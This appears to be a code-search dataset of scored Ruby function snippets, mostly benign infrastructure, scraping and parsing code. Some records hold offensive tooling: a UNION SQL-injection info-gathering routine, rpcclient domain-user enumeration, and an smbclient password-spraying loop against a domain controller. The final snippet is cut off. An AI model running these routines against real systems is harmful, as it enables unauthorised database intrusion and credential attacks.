\"akld2#{rack}u#{u_str}.nectar.auckland.ac.nz\"# akld2h18uXX\n aliases = [\n \"ntr-#{@new_sto_index[host]}\", # ntr-stoXX\n \"#{@new_sto_index[host]}\", # stoXX\n \"#{rack}u#{u_str}\", # h18uXX\n \"ntr-#{@new_sto_index[host]}-#{net}\",# ntr-stoXX-ceph\n \"#{@new_sto_index[host]}-#{net}\", # stoXX-ceph\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-ceph\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-ceph\n ] \n extra_aliases.each do |ea|\n aliases << ea unless aliases.include?(ea)\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n else\n hostname = \"akld2#{rack}u#{u_str}-#{net}.nectar.auckland.ac.nz\" # akld2h18uXX-net\n aliases = [ \n \"ntr-#{@new_sto_index[host]}-#{net}\", # ntr-stoXX-net\n \"#{@new_sto_index[host]}-#{net}\", # stoXX-net\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-net\n ] \n extra_aliases.each do |ea|\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n end\n ip ||= (@ip_subnet[net] + @ip_offset[rack] + u).to_s\n #\n # All other hosts should be named by rack and u\n elsif switch\n if net == 'm' # Want the default hostname to be on this interface\n hostname = \"akld2#{rack}x#{u_str}.nectar.auckland.ac.nz\"# akld2h18xXX\n aliases = [\n \"#{rack}x#{u_str}\", # h18xXX\n \"akld2#{rack}x#{u_str}-#{net}\", # akld2h18xXX-api\n \"#{rack}x#{u_str}-#{net}\", # h18xXX-api\n ]\n # Add in extra aliases\n extra_aliases.each do |ea|\n aliases << ea unless aliases.include?(ea)\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n else\n hostname = \"akld2#{rack}x#{u_str}-#{net}.nectar.auckland.ac.nz\" # akld2h18uXX-net\n aliases = [\n \"#{rack}x#{u_str}-#{net}\" # h18xXX-net\n ]\n # Add in extra aliases\n extra_aliases.each do |ea|\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n end\n ip ||= (@ip_subnet[net] + @ip_offset[rack] + u).to_s\n else\n if net == 'api' # Want the default hostname to be on this interface\n hostname = \"akld2#{rack}u#{u_str}.nectar.auckland.ac.nz\"# akld2h18uXX\n aliases = [\n \"#{rack}u#{u_str}\", # h18uXX\n \"akld2#{rack}u#{u_str}-#{net}\", # akld2h18uXX-api\n \"#{rack}u#{u_str}-#{net}\", # h18uXX-api\n ]\n extra_aliases.each do |ea|\n aliases << ea unless aliases.include?(ea)\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n else\n hostname = \"akld2#{rack}u#{u_str}-#{net}.nectar.auckland.ac.nz\" # akld2h18uXX-net\n aliases = [\n \"#{rack}u#{u_str}-#{net}\" # h18uXX-net\n ]\n extra_aliases.each do |ea|\n aliases << \"#{ea}-#{net}\" unless aliases.include?(\"#{ea}-#{net}\")\n end\n end\n ip ||= (@ip_subnet[net] + @ip_offset[rack] + u).to_s\n end\n \n \n return { hostname: hostname, ip: ip, aliases: aliases, cnames: [] }\nend", "title": "" }, { "docid": "28104f97fa1195ba47bf16dc9d889fe8", "score": "0.48604378", "text": "def clean_data(options={})\n \n @final_data.each_index do |i|\n record = @final_data[i]\n if record[:name].nil? # remove no-name records\n @final_data.delete_at(i)\n next\n end\n if record[:address].nil? # remove no-address records, can't display!\n @last_log << \"WARNING: Address Missing for #{record[:name]}!\\n\"\n @final_data.delete_at(i)\n next\n end\n if record[:elder].nil?\n @last_log << \"WARNING: Elder Missing for #{record[:name]}!\\n\"\n end\n if !record[:extra].nil? # if extra data, then assume it is city/state/zip,\n # merge :address and existing :city_state_zip,\n # put :extra data into :city_state_zip\n \n # fix data\n @final_data[i][:address] = \"#{record[:address]}, #{record[:city_state_zip]}\"\n @final_data[i][:city_state_zip] = \"#{record[:extra]}\"\n @final_data[i][:extra] = nil\n \n end\n if record[:address] =~ /Apt/ and record[:address] !=~ /,/\n # insert comma for Apt to make it easier on google\n @final_data[i][:address] = \"#{record[:address].gsub(/ Apt/, \", Apt\")}\"\n# @last_log << \"NOTE: Funny address found for #{record[:name]}!\\n\"\n# @last_log << \" Address: #{record[:address]}!\\n\"\n end\n if !@elders.include?(record[:elder]) # if No elder found, then report\n @last_log << \"WARNING: No Elder found for #{record[:name]}!\\n\"\n if record[:address] !=~ /\\w*\\s\\w*/ and record[:extra].nil?\n # if this is the case, very likely this is the address\n # shift data by 1 record\n @final_data[i][:city_state_zip] = record[:address]\n @final_data[i][:address] = record[:elder]\n @final_data[i][:elder] = \"No Elder\"\n end\n end\n \n # finally filter for problematic addresses that don't seem to picked up by Google Maps Geocoding properly!\n if record[:address] =~ /FM 2222/\n @final_data[i][:address] = \"#{record[:address].gsub(/FM 2222/, \"RM 2222\")}\"\n end\n if record[:address] =~ /Mo Pac/\n @final_data[i][:address] = \"#{record[:address].gsub(/Mo Pac/, \"MoPac\")}\"\n end\n \n end\nend", "title": "" }, { "docid": "ffa4500e431b4cc603fb72f5ddc41082", "score": "0.48568642", "text": "def do_lookup(args)\n if args[\"qname\"] == \"example.com\" and args[\"qtype\"].downcase == \"soa\"\n @result = [\n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n ]\n elsif args[\"qname\"] == \"example.com\" and args[\"qtype\"].downcase == \"any\"\n @result = [ \n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n record(\"example.com\", \"NS\", \"sns.dns.icann.org\"),\n record_prio(\"example.com\", \"MX\", \"test.example.com\",10)\n ]\n elsif args[\"qname\"] == \"test.example.com\" and args[\"qtype\"].downcase == \"any\"\n @result = [\n record(\"test.example.com\", \"A\", \"127.0.0.1\")\n ]\n elsif args[\"qname\"] =~ /(.*)\\.example\\.com$/ and args[\"qtype\"].downcase == \"any\"\n ip = 0\n $1.downcase.each_byte do |b| ip = ip + b end\n ip_2 = ip/256\n ip = ip%256\n @result = [\n record(args[\"qname\"], \"A\", \"127.0.#{ip_2}.#{ip}\")\n ]\n end\n end", "title": "" }, { "docid": "e638a62da2384695b6e442f32bb5c905", "score": "0.48470354", "text": "def get_basic\n if not @target_config['UNION']\n puts\n print_error(\"Union Injection NOT Confirmed Yet!\")\n print_error(\"Run the 'CHECK' command to confirm and then try again....\\n\\n\")\n else\n srvn = '@@hostname'\n ver = [ 'version()', '@@version', '@@GLOBAL.VERSION' ]\n cdb = [ 'database()', '@@database', 'schema()', 'current_database()' ]\n usr = [ 'user()', 'system_user()', 'current_user()', 'session_user()' ]\n dirz = [ '@@datadir', '@@basedir', '@@tmpdir' ]\n\n print_status(\"############### BASIC INFO ##################\")\n # Find Hostname of DB Server\n if @target_config['HOST'].nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, srvn)\n if results.nil? or results == ''\n print_error(\"Unable to determine Hostname!\")\n else\n @target_config['HOST'] = results\n print_good(\"Hostname: #{@target_config['HOST']}\")\n end\n else\n print_good(\"Hostname: #{@target_config['HOST']}\")\n end\n\n # Find Version of DB we are injecting\n if @target_config['VERSION'].nil?\n while(true)\n ver.each do |version|\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, version)\n if not results.nil? and results != ''\n @target_config['VERSION'] = results\n print_good(\"Windows Backend OS Detected!\") if @target_config['VERSION'] =~ /-nt-log/\n print_good(\"Version: #{@target_config['VERSION']}\")\n break\n end\n end\n break\n end\n print_error(\"Unable to determine Version!\") if @target_config['VERSION'].nil?\n else\n print_good(\"Version: #{@target_config['VERSION']}\")\n end\n\n # Find Current Username\n if @target_config['USER'].nil?\n while(true)\n usr.each do |user|\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, user)\n if not results.nil? and results != ''\n @target_config['USER'] = results\n print_good(\"Username: #{@target_config['USER']}\")\n break\n end\n end\n break\n end\n print_error(\"Unable to determine current Username!\") if @target_config['USER'].nil?\n else\n print_good(\"Username: #{@target_config['USER']}\")\n end\n\n # Find Current Database Name\n if @target_config['CURRENT_DB'].nil?\n while(true)\n cdb.each do |current_db|\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, current_db)\n if not results.nil? and results != ''\n @target_config['CURRENT_DB'] = results\n print_good(\"Database: #{@target_config['CURRENT_DB']}\")\n break\n end\n end\n break\n end\n print_error(\"Unable to determine current database name!\") if @target_config['CURRENT_DB'].nil?\n else\n print_good(\"Database: #{@target_config['CURRENT_DB']}\")\n end\n\n # Find Directory Information (Datadir, basedir, tmpdir)\n while(true)\n dirz.each do |dirpath|\n case dirpath\n when '@@basedir'\n if @target_config['BASEDIR'].nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, dirpath)\n if results.nil?\n print_error(\"Unable to determine basedir!\")\n else\n @target_config['BASEDIR'] = results\n print_good(\"Basedir: #{@target_config['BASEDIR']}\")\n end\n else\n print_good(\"Basedir: #{@target_config['BASEDIR']}\")\n end\n when '@@datadir'\n if @target_config['DATADIR'].nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, dirpath)\n if results.nil?\n print_error(\"Unable to determine datadir!\")\n else\n @target_config['DATADIR'] = results\n print_good(\"Datadir: #{@target_config['DATADIR']}\")\n end\n else\n print_good(\"Datadir: #{@target_config['DATADIR']}\")\n end\n when '@@tmpdir'\n if @target_config['TMPDIR'].nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, dirpath)\n if results.nil?\n print_error(\"Unable to determine tmpdir!\")\n else\n @target_config['TMPDIR'] = results\n print_good(\"Tmpdir: #{@target_config['TMPDIR']}\")\n end\n else\n print_good(\"Tmpdir: #{@target_config['TMPDIR']}\")\n end\n end\n end\n break\n end\n print_status(\"#############################################\")\n end\n end", "title": "" }, { "docid": "15c5b8146ecbecf947e6f0b766f0e904", "score": "0.4829965", "text": "def get_info\n doc = Hpricot(open(noaa_url))\n puts noaa_url\n if !self.description\n doc.search(\"h1\").each do |elem| \n desc = elem.inner_html\n # remove imbeded links in the middle of the description\n desc.gsub!(/\\<a.href.*?\\<\\/a\\>/,' ')\n self.description = desc\n puts self.description\n self.save\n end\n end\n if !self.geo_location\n begin\n elems = doc.search(\"p/b\").to_a.map{|elm| elm.inner_html}\n if elems[1] == \"Owned and maintained by National Data Buoy Center\"\n puts elems[4]\n self.geo_location = elems[4]\n self.save\n end\n rescue\n end \n end\n end", "title": "" }, { "docid": "3788e0d0f9dae48272b409f42c434ac3", "score": "0.48202828", "text": "def out_ostore(str)\n SD::Log.msg(\"Info\", \"Ostore Entry\")\n cat_a = (str=='non_gc') ? SD::Ostore.category_names_non_gc : SD::Ostore.category_names\n cat_a.each { |cat|\n SD::Ostore.each_entry(cat) {|cat,name,comp| \n SD::Log.msg('Info', \"Category, name, valid\", [cat,name,comp.param_h['version']]) \n }\n }\n\tend", "title": "" }, { "docid": "1ebe21e2201796a40f5602c7854036bb", "score": "0.48195946", "text": "def badPw(domain,username,password,dc_ip)\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c lsaquery | head -n 1`\n ip_check(dc_ip,cmd)\n\n output = \"#{domain}-bad-password-count.txt\"\n temp_file = \"temp1\"\n\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c enumdomusers | cut -d \" \" -f 2 | sed 's/rid:\\\\[//g' | sed 's/\\\\]//g' > #{temp_file}`\n\n puts \"Looking up the bad password count for each user.\"\n puts \"\"\n\n user_arr = Array.new\n r = File.open(temp_file)\n r.each_line {|line| user_arr.push line.chomp}\n del_temp = `rm #{temp_file}`\n\n File.open(output, 'w') do |file|\n user_arr.each {|rid|\n print \"#{rid} \";\n file.write(\"#{rid} \");\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c 'queryuser #{rid}' | egrep \"User|bad\" | awk -F\":\" {'print $2'} | awk -F\" \" {'print $1'} | awk '{printf \"%s \",$0} END {print \"\"}'`;\n puts cmd;\n file.write(cmd)}\n end\n puts \"[+] Success! All bad password counts have been stored in #{output}\"\nend", "title": "" }, { "docid": "b8ae4d039ce07306a3fee7ee8081c99f", "score": "0.4800798", "text": "def ncbi_download(term, ofile, type, file_log)\n\t\t\t#info \"* host: \" + host\n\t\t\t#info \"* dir: \" + dir\n\t\t\t#info \"* db: \" + db\n\t\t\tinfo \"* term: \" + term\n\t\t\tinfo \"* ofile: \" + ofile\n\t\t\tBio::NCBI.default_email = \"vardb@kuicr.kyoto-u.ac.jp\"\n\t\t\tncbi = Bio::NCBI::REST.new\n\t\t\t\n\t\t\trid = []\n\t\t\tif type == \"refseq\"\n\t\t\t\tterm += \" AND RefSeq Genome[Project Data Type]\"\n\t\t\t\t# get BioProject ids:\n\t\t\t\tres = ncbi.esearch(term, {:db => 'bioproject'}, limit = 0)\n\t\t\t\tinfo \"* ids (bioproject): \" + res.join(\",\").to_s\n\t\t\t\t# search on nuccore:\n\t\t\t\tres.each do |r|\n\t\t\t\t\t#info r\n\t\t\t\t\trid = rid + ncbi.esearch(r+\"[BioProject]\", {:db => 'nuccore'}, limit = 0)\n\t\t\t\tend\n\t\t\t\tdb = \"nuccore\"\n\t\t\telsif type == \"wgs\"\n\t\t\t\tterm += \"[Organism:exp]+biomol genomic[properties]\"\n\t\t\t\trid = ncbi.esearch(term, {:db => 'nuccore'}, limit = 0)\n\t\t\t\tdb = \"nuccore\"\n\t\t\telsif type == \"nuccore\"\n\t\t\t\tterm += \"[Organism:exp]\"\n\t\t\t\trid = ncbi.esearch(term, {:db => 'nuccore'}, limit = 0)\n\t\t\t\tdb = \"nuccore\"\n\t\t\telsif type == \"nucest\"\n\t\t\t\tterm += \"[Organism:exp]\"\n\t\t\t\trid = ncbi.esearch(term, {:db => 'nucest'}, limit = 0)\n\t\t\t\tdb = \"nucest\"\n\t\t\tend\n\t\t\t\n\t\t\tinfo \"* n: \" + rid.length.to_s\n\t\t\t#info \"* ids (nuccore): \" + rid.join(\",\")\n\t\t\t\t\n\t\t\tif rid.length > 0\n\t\t\t\trid = _check_download_gb(ofile, rid)\n\t\t\t\t#if _check_download(ofile, rid.length, \"gb\")\n\t\t\t\tif rid.length > 0\n\t\t\t\t\tretmax = 500\n\t\t\t\t\tretstart = 0\n\t\t\t\t\t\n\t\t\t\t\ttransferred = 0\n\t\t\t\t\tpb = ProgressBar.new(ofile.basename.to_s, 100)\n\t\t\t\t\t#ret = 0\n\t\t\t\t\tout = File.open(ofile, \"a\")\n\t\t\t\t\twhile(retstart < rid.length)\n\t\t\t\t\t\trtmp = rid[retstart,retmax]\n\t\t\t\t\t\tres = ncbi.efetch(rtmp, {:db => db, :rettype => \"gbwithparts\", :retmode => \"txt\"})\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif res.empty?\n\t\t\t\t\t\t\terror \"data returned by server is empty!\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\t\t# TODO: add server ERROR check (like Perl script)\n\t\t\t\t\t\tout.puts res\n\t\t\t\t\t\ttransferred += rtmp.length\n\t\t\t\t\t\tif(transferred != 0)\n\t\t\t\t\t\t\tpercent_finished = 100 * (transferred.to_f / rid.length.to_f)\n\t\t\t\t\t\t\t#info percent_finished\n\t\t\t\t\t\t\tpb.set(percent_finished.to_i)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tretstart += retmax\n\t\t\t\t\tend\n\t\t\t\t\tout.close\n\t\t\t\t\tinfo\n\t\t\t\tend\n\t\t\tend\n\t\t\t_check_duplicates_gb(ofile)\n\t\t\t# Old method. Just uncomment (and comment out the code above) to revert to it.\n#\t\t\tres = system(\"./ncbi_download.pl \\\"#{term}\\\" #{db} #{ofile}\")\n#\t\t\t_check_result(res)\n\t\tend", "title": "" }, { "docid": "e873d798653035c23172532fc1b643b5", "score": "0.47972032", "text": "def udid2(udid2)\n tab_hash = udid2.split(';')\n @type = tab_hash[0]\n\n return 'error_type' if @type != @@type\n\n @mode = tab_hash[1]\n\n if @mode == 'h' && tab_hash.length == 4\n @hash = tab_hash[2]\n @number = tab_hash[3]\n elsif @mode == 'c' && tab_hash.length == 8\n to_udid2 tab_hash[2],tab_hash[3], tab_hash[4], tab_hash[5][1..6], tab_hash[6]\n else\n return 'error mode'\n end\n\n end", "title": "" }, { "docid": "8b6b848c18f7da579e6284f103bed772", "score": "0.4785242", "text": "def real_duns\n hash = {\n :number => ENV['DUNS'], # Enter the company's DUNS number\n :name => ENV['DUNS_NAME'], # Enter the official company name, ALL UPPER CASE: FOO WIDGET CO., INC.\n :address => ENV['DUNS_ADDRESS'] # Enter the officially registered address, ALL UPPER CASE: 123 W MAIN ST, SAN FRANCISCO, CA\n }\n raise(\"\\n>> To test against a real company, you must add valid info to #real_duns in #{__FILE__}!\\n\") unless hash[:number]\n hash\nend", "title": "" }, { "docid": "7b356e9768c1ba51c24d8ecba1638662", "score": "0.47836176", "text": "def generateObjectFromOrder_NV(pdfName)\n o={}\n o[:communityType] = 'NVHomes'\n o[:fileName] = pdfName\n o[:FaucetSpread] = 'faucet centered, soap 8\" to R' #Default faucet spread\n o[:changeOrders] = []\n currentChangeOrderDate = nil\n currentChangeOrderNumber = nil\n tmpChangeOrderObj = nil \n\n reader = PDF::Reader.new(pdfName)\n\n reader.pages.each{|x| #Iterate over each of the pages in the reader\n x.text.split(/\\n/).each{|y| #iterate over each line in the page\n\n if y[\"CHANGE ORDER\"] && y[\"Date:\"] #Does \"CHANGE ORDER\" occur in the string y\n if tmpChangeOrderObj.nil? == false && tmpChangeOrderObj.keys.count > 2\n o[:changeOrders] << tmpChangeOrderObj\n end\n\n currentChangeOrderDate = y.split(\"|\")[1] #we'll change this later for dates\n begin\n currentChangeOrderDate = Date.strptime(currentChangeOrderDate[currentChangeOrderDate.index(\"Date:\")+5...-1].strip,'%m/%d/%Y')\n rescue\n currentChangeOrderDate = \"FAILED TO PARSE DATE\"\n end\n\n currentChangeOrderNumber = y.split(\"|\")[0]\n tmpChangeOrderObj = {} \n tmpChangeOrderObj[:ChangeOrderNumber] = currentChangeOrderNumber\n tmpChangeOrderObj[:ChangeOrderDate] = currentChangeOrderDate\n end\n if currentChangeOrderDate.nil? then\n #if currentChangeOrderDate.nil? then\n #Parse the start date to determine sink\n\n begin\n \ty[\"Contract Date\"] \n o[:contractDate] = Date.strptime(y[y.index(\"Contract Date\")+13..-1].split*\"\", '%m/%d/%Y')\n rescue\n \tcontractDate = \"FAILED TO PARSE DATE\"\n end\n\n if y[\"Set/\"] && o[:houseTypeCode].nil?\n o[:houseTypeCode] = y[y.rindex(\"(\")+1..y.rindex(\"-\")-1]\n end\n if y[\"999QK00\"]\n #We’re definately in a color line\n o[:\"ColorCode\"] = y.split[8..-1]*\" \"\n if y[\"UPDATE\"]\n o[:\"UpdatedColor\"] = y.split[8..-1]*\" \"\n #We’re on a color line *AND* it’s an update\n else\n #We’re on a color line *AND* it’s *NOT* an update\n o[:\"ColorCode\"] = y.split[8..-1]*\" \"\n end\n end\n\n if y[\"APPLIANCE PKG FREESTANDING\"] #If the current line contains \"freestanding\"\n o[:CooktopCode] = \"freestanding\"\n end\n if y[\"4CB\"] #If the current line contains \"4CB\"\n o[:CooktopCode] = \"jgp323setss\"\n end\n if (y[\"4CF\"]||y[\"4CH\"]||y[\"4CQ\"]) #If the current line contains \"4CF,4CH,4CQ\"\n o[:CooktopCode] = \"pgp976setss\"\n end\n if y[\"4CD\"] #If the current line contains \"4CD\"\n o[:CooktopCode] = \"pgp943setss\"\n end\n if y[\"4CP\"] #If the current line contains \"4CP\"\n o[:CooktopCode] = \"zgu385nsmss\"\n end\n if y[\"4CG\"] #If the current line contains \"4CG\"\n o[:CooktopCode] = \"jgp633setss\"\n end\n\n #Parse the Faucet and Sink fixtures from the doc\n if y[\"KFK\"] then \n faucetAndSink = determineFaucetSpreadAndKitchenSink_NV(o[:contractDate], \"KFK\", o[:houseTypeCode])\n o[:FaucetSpread] = faucetAndSink[:FaucetSpread]\n o[:KitchenSink] = faucetAndSink[:KitchenSink]\n end\n if (y[\"KFL\"]|| y[\"KFM\"]) then\n faucetAndSink = determineFaucetSpreadAndKitchenSink_NV(o[:contractDate], \"KFL\", o[:houseTypeCode])\n o[:FaucetSpread] = faucetAndSink[:FaucetSpread]\n o[:KitchenSink] = faucetAndSink[:KitchenSink] \n end\n else\n #we're in change orders\n if y[\"999QK00\"] \n tmpChangeOrderObj[:ColorCode] = y.split[5..-3]*\" \"\n end\n\n if y[\"APPLIANCE PKG FREESTANDING\"] \n tmpChangeOrderObj[:CooktopCode] = \"freestanding\"\n end\n if (y[\"4CF\"]||y[\"4CH\"]||y[\"4CQ\"])\n tmpChangeOrderObj[:CooktopCode] = \"pgp976setss\"\n end\n if y[\"4CB\"]\n tmpChangeOrderObj[:CooktopCode] = \"jgp333setss\"\n end\n if y[\"4CD\"] #If the current line contains \"4CD\"\n tmpChangeOrderObj[:CooktopCode] = \"pgp943setss\"\n end\n if y[\"4CP\"] #If the current line contains \"4CP\"\n tmpChangeOrderObj[:CooktopCode] = \"zgu385nsmss\"\n end\n if y[\"4CG\"] #If the current line contains \"4CG\"\n tmpChangeOrderObj[:CooktopCode] = \"jgp633setss\"\n end\n if y[\"KFK\"]\n tmpChangeOrderObj[:KitchenSink] = \"11409\"\n end\n if (y[\"KFL\"]|| y[\"KFM\"])\n tmpChangeOrderObj[:KitchenSink] = \"k3821-4\"\n end\n \n if y[\"KFK\"] then \n faucetAndSink = determineFaucetSpreadAndKitchenSink_NV(o[:contractDate], \"KFK\", o[:houseTypeCode])\n tmpChangeOrderObj[:KitchenSink] = faucetAndSink[:KitchenSink]\n end\n if (y[\"KFL\"]|| y[\"KFM\"]) then\n faucetAndSink = determineFaucetSpreadAndKitchenSink_NV(o[:contractDate], \"KFL\", o[:houseTypeCode])\n tmpChangeOrderObj[:KitchenSink] = faucetAndSink[:KitchenSink] \n end\n end \n \n }\n }\n return o\nend", "title": "" }, { "docid": "176e90f47927022076598247046a84c5", "score": "0.4783616", "text": "def report(uri, lang, ccmap, base_url, dnm4output)\n doc = Nokogiri::HTML(open(uri))\n courses = get_department_courses(doc)\n\n mufredat = {secmeli: {}, zorunlu: {}}\n course_status = {}\n mcode_status = {}\n\n courses.each do |ccode, ncourse|\n ncourse.each do |course|\n code = course[:code]\n cmap_code = code.to_s.is_i? ? code.to_s.to_i : code.to_s\n cmap = ccmap[cmap_code]\n mcode = cmap[:mufredat]\n\n p \"Code: '#{mcode}' isleniyor...\"\n uri = base_url + course[:uri]\n doc = Nokogiri::HTML(open(uri))\n\n info = get_course_info(doc)\n detail = get_course_detail(doc)\n\n # \"YD101 Yabanci Dil\" benzeri generic dersleri pas gec\n next if detail.empty?\n\n status = {final: (detail['objective'].empty? and detail['content'].empty? and detail['detailed_content'].empty?)}\n $course_keys.each do |k|\n status[k.to_sym] = !detail[k].empty?\n end\n\n if status[:final]\n course_status[code] ||= status\n next\n else\n course_status[code] = status\n end\n\n # Icerigi eksik dersleri \"ders icerikleri\" ciktisina koyma\n next if status[:final]\n\n # mufredat cikti dosyasina eklendi ise pas gec\n next if mcode_status.key? mcode\n mcode_status[mcode] = true\n\n t, p, l = course[:theoratical], course[:practice], course[:laboratory]\n name = info['name'].empty? ? cmap[:ad] : info['name']\n str = \"<h4 id='#{mcode}'>#{mcode} #{cmap[:ad]} #{t}-#{p}-#{l} AKTS: #{info['ects']}</h4>\\n\"\n\n if status[:content]\n str += \"<p>#{detail['content']}</p>\"\n else\n # str += \"<p>#{detail['objective']}</p>\"\n str += \"<p><font color='red'>EKSİK</font></p>\"\n end\n\n str += \"<div style='display: none;' class='stuff'>#{cmap[:hoca]}</div>\" if ccmap.key? cmap_code\n str += \"<div class='detail'>Dersle ilgili daha fazla ayrıntıya ulaşmak istiyorsanız <a href='#{uri}'>tıklayınız.</a></div>\"\n\n # unless detail['reading'].empty?\n # str += \"<h4>Kaynaklar</h4>\\n\"\n # str += \"<p>#{detail['reading']}</p>\"\n # end\n\n t = cmap[:yy]\n y = (t - 1)/2 + 1\n\n sz = (cmap[:sz].strip.downcase == \"z\") ? :zorunlu : :secmeli\n\n if mufredat[sz][y].nil?\n mufredat[sz][y] = {}\n end\n\n if mufredat[sz][y][t].nil?\n mufredat[sz][y][t] = \"#{str}<hr>\"\n else\n mufredat[sz][y][t] += \"#{str}<hr>\"\n end\n end\n end\n\n fnm = \"#{dnm4output}courses_problematic_#{lang}.csv\"\n CSV.open(fnm, 'w') do |csv|\n r = ['Code', 'Name']\n\n $course_keys.each do |k|\n r << k.to_s\n end\n\n csv << r\n\n course_status.each do |code, status|\n if status[:final]\n r = [code, courses[code][0][:name]]\n\n $course_keys.each do |k|\n r << status2sign(status[k.to_sym])\n end\n\n csv << r\n end\n end\n end\n p \"Problemli dersler '#{fnm}' icerisine saklandi.\"\n\n fnm = \"#{dnm4output}courses_status_#{lang}.csv\"\n CSV.open(fnm, 'w') do |csv|\n r = ['Code', 'Name', 'Final']\n\n $course_keys.each do |k|\n r << k.to_s\n end\n\n csv << r\n\n course_status.each do |code, status|\n r = [code, courses[code][0][:name], status2sign(status[:final])]\n\n $course_keys.each do |k|\n r << status2sign(status[k.to_sym])\n end\n\n csv << r\n end\n end\n p \"Bölümün tüm derslerinin durumu '#{fnm}' icerisine saklandi.\"\n\n # str = \"<h1>OMÜ Bilgisayar Mühendisliği Bölümü</h1>\"\n [:secmeli, :zorunlu].each do |sz|\n (1..8).each do |yy|\n y = (yy - 1)/2 + 1\n\n next if mufredat[sz][y].nil? or mufredat[sz][y][yy].nil?\n\n fnm = \"#{dnm4output}ders_icerikleri_#{lang}_#{sz.to_s}_#{yy}.html\"\n fp = File.new(fnm, 'w')\n\n str = \"<h3 id='yy#{yy}'>#{yy.to_roman}. YARIYIL (#{yy%2==1 ? 'GÜZ' : 'BAHAR'} DÖNEMİ)</h3>\"\n str += mufredat[sz][y][yy]\n\n fp.write(str)\n fp.close\n p \"Ders icerikleri '#{fnm}' icerisine saklandi.\"\n end\n end\n\n fnm = \"#{dnm4output}ders_icerikleri_#{lang}.html\"\n fp = File.new(fnm, 'w')\n\n str = \"<h1>OMÜ Bilgisayar Mühendisliği Bölümü</h1>\"\n [:zorunlu, :secmeli].each do |sz|\n str += \"<h2 id='secmeli'>SEÇMELİ DERSLER</h2>\" if sz == :secmeli\n\n (1..8).each do |yy|\n y = (yy - 1)/2 + 1\n\n next if mufredat[sz][y].nil? or mufredat[sz][y][yy].nil?\n\n str += \"<h3 id='yy#{yy}'>#{yy.to_roman}. YARIYIL (#{yy%2==1 ? 'GÜZ' : 'BAHAR'} DÖNEMİ)</h3>\"\n str += mufredat[sz][y][yy]\n end\n end\n\n fp.write(str)\n fp.close\n p \"Ders icerikleri '#{fnm}' icerisine saklandi.\"\nend", "title": "" }, { "docid": "01fce1245f1d9b963d1db012ff946f0d", "score": "0.47687873", "text": "def get_snmp\n\n # onvide le tableau des résultats précédents\n @deltas.clear\n # var temporaire pour détecter le changement de valeur d'index dans la liste de résultats\n tmp_index = ''\n\n # requête SNMP get :\n # la requête renvoie une ligne par index, cette ligne peut être in ou out,\n # les lignes in et out de chaque index se suivent forcément.\n response = @manager.get(@oids) \n response.each_varbind do |oid|\n # récupération de la valeur de l'index sur la ligne de résultat : chaîne après le \".\"\n index = oid.name.to_s.split('.')[1].to_s\n if (tmp_index == index) then\n # si le nom est le même que la ligne lue précédente, on vient donc de lire la 2° ligne => out\n # on supprime le dernier élément du tableau @out et on y ajoute au début la mesure out.\n # idem avec le timestamp de la mesure.\n @out[index].shift\n @out[index].push(oid.value.to_i)\n @ts[index].shift\n @ts[index].push(Time.now.to_i)\n\n # calcul du delta in et out par intervalle de ts_delta\n ts_delta = @ts[index][1] - @ts[index][0]\n out_delta = (@out[index][1] - @out[index][0]) / ts_delta\n in_delta = (@in[index][1] - @in[index][0]) / ts_delta\n\n # récupération de l'objet Interface de cet index\n iface = @interfaces[index]\n\n # création d'un hash de résultat de la mesure pour chaque index\n # et ajout de ce hash dans le tableau @port_names\n port_delta = { name: iface.name, descr: iface.descr, speed: iface.speed ,octInOut: [in_delta, out_delta] }\n @deltas.push(port_delta)\n else\n # index == tmp_index, donc on lit la première ligne d'index => in\n # on supprime le dernier élément du tableau @in et on y ajoute au début la mesure in\n @in[index].shift\n @in[index].push(oid.value.to_i)\n tmp_index = index\n end\n end\n return @deltas \n end", "title": "" }, { "docid": "77cc36259f79388443c9df7ae1dfffd7", "score": "0.476715", "text": "def domain_user_bf(dc_ip,domain,password,huntDu)\n file = huntDu\n output = \"#{domain}-password-attack-#{password}.txt\"\n\n user_hash = Hash.new\n\n r = File.open(file)\n r.each_line {|line| user_hash[line.chomp] = password}\n\n File.open(output, 'w') do |file|\n user_hash.peach(25) do |key, value|\n current = \"Testing: #{key} #{value}\"\n puts current\n smb = `smbclient -U #{domain}\\\\\\\\#{key}%#{value} //#{dc_ip}/NETLOGON -c dir`\n puts smb\n file.write(current + smb)\n end\n end\n data_processing = `sed '/failed/d' #{output} > 1; rm #{output}; cat 1 | awk -F\" \" {'print $2 \" \" $3'} > 2; rm 1; sed -n '/#{password}/p' 2 > 3; rm 2; echo \"The Following Users Exist in Domain: #{domain}\" > #{output}; echo \" \" >> #{output}; cat 3 